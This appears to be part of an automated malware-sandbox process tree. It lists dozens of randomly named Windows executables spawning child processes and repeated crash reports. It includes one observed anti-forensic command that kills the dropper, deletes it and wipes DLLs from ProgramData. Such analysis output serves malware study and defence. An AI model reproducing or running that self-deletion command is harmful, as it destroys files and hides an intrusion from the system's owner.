                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\3vIQJl1YVR6trOnvvSI7oxzf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\3vIQJl1YVR6trOnvvSI7oxzf.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\KK25HygfYZ_J7KotDWfnmrU6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\KK25HygfYZ_J7KotDWfnmrU6.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\zACIT4XwH8bbeF1UOH5V7_2j.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\zACIT4XwH8bbeF1UOH5V7_2j.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\lsRIDzFxHJYdHNnpdE9uorD8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\lsRIDzFxHJYdHNnpdE9uorD8.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:10820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\lsRIDzFxHJYdHNnpdE9uorD8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\lsRIDzFxHJYdHNnpdE9uorD8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\zsQ7iJO1cd_ZwE_ba8mKlyZc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\zsQ7iJO1cd_ZwE_ba8mKlyZc.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:10804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\zsQ7iJO1cd_ZwE_ba8mKlyZc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\zsQ7iJO1cd_ZwE_ba8mKlyZc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\VnE573uIJtj8fokX5dftHhzc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\VnE573uIJtj8fokX5dftHhzc.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\T7DLpl2JA0j1I9BxokCzTUzM.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\T7DLpl2JA0j1I9BxokCzTUzM.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\T7DLpl2JA0j1I9BxokCzTUzM.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\T7DLpl2JA0j1I9BxokCzTUzM.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\wJiXC25wSglVaSIB9cHDCGxs.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\wJiXC25wSglVaSIB9cHDCGxs.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:10888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\wJiXC25wSglVaSIB9cHDCGxs.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\wJiXC25wSglVaSIB9cHDCGxs.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:11552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\LgMB9txdLk43f58Xmaolnw3F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\LgMB9txdLk43f58Xmaolnw3F.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\LgMB9txdLk43f58Xmaolnw3F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\LgMB9txdLk43f58Xmaolnw3F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:8064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\8ft5Lmfn3JIVTVErOM7dqftO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\8ft5Lmfn3JIVTVErOM7dqftO.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\8ft5Lmfn3JIVTVErOM7dqftO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\8ft5Lmfn3JIVTVErOM7dqftO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\lyNmvpYzrH9BM6Cnk30J61Rh.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\lyNmvpYzrH9BM6Cnk30J61Rh.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\5699709.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\5699709.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\6241361.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\6241361.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\vpegdFgzVjcopsO0J0u0VDFh.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\vpegdFgzVjcopsO0J0u0VDFh.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\dLoCAHA37WVGCcR23fUxt9bb.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\dLoCAHA37WVGCcR23fUxt9bb.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 1008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 1164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:8196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7200 -s 1200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:8512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\nGPDa3E7orq1YRL9raNuaaqU.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\nGPDa3E7orq1YRL9raNuaaqU.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\7676509.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\7676509.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\2520534.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\2520534.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\kApsGNJVPm1HpKaVzIdPuUng.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\kApsGNJVPm1HpKaVzIdPuUng.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\kApsGNJVPm1HpKaVzIdPuUng.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\kApsGNJVPm1HpKaVzIdPuUng.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\jmJYaMBJ7cyJ1V5lxIyej4Uu.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\jmJYaMBJ7cyJ1V5lxIyej4Uu.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\jmJYaMBJ7cyJ1V5lxIyej4Uu.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\jmJYaMBJ7cyJ1V5lxIyej4Uu.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\ne2yyu1OjpIXcmHPJd5kk1_9.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\ne2yyu1OjpIXcmHPJd5kk1_9.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5024
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\XlFGilqRjny1lkj6TZwJUu4k.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\XlFGilqRjny1lkj6TZwJUu4k.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im XlFGilqRjny1lkj6TZwJUu4k.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\XlFGilqRjny1lkj6TZwJUu4k.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        taskkill /im XlFGilqRjny1lkj6TZwJUu4k.exe /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\ZFtaVzuCkvNZsuqnSJXY2Mqd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\ZFtaVzuCkvNZsuqnSJXY2Mqd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\a8HRttdHXR6ugRLE7w9WnXs7.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\a8HRttdHXR6ugRLE7w9WnXs7.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\t3idDPBMAJjJzTpc9WN1_Wpn.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\t3idDPBMAJjJzTpc9WN1_Wpn.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\t3idDPBMAJjJzTpc9WN1_Wpn.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\t3idDPBMAJjJzTpc9WN1_Wpn.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\UDA38Cy_WzSfpTFbwYvUOrFQ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\UDA38Cy_WzSfpTFbwYvUOrFQ.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7736
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\UDA38Cy_WzSfpTFbwYvUOrFQ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\UDA38Cy_WzSfpTFbwYvUOrFQ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\F9zFGSz4XhWqt94gylMlqdUK.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\F9zFGSz4XhWqt94gylMlqdUK.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\4777036.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\4777036.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\4445273.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\4445273.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\UxcIXqvdyR5Ts5RFN5YAGlLe.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\UxcIXqvdyR5Ts5RFN5YAGlLe.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 1028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 1140
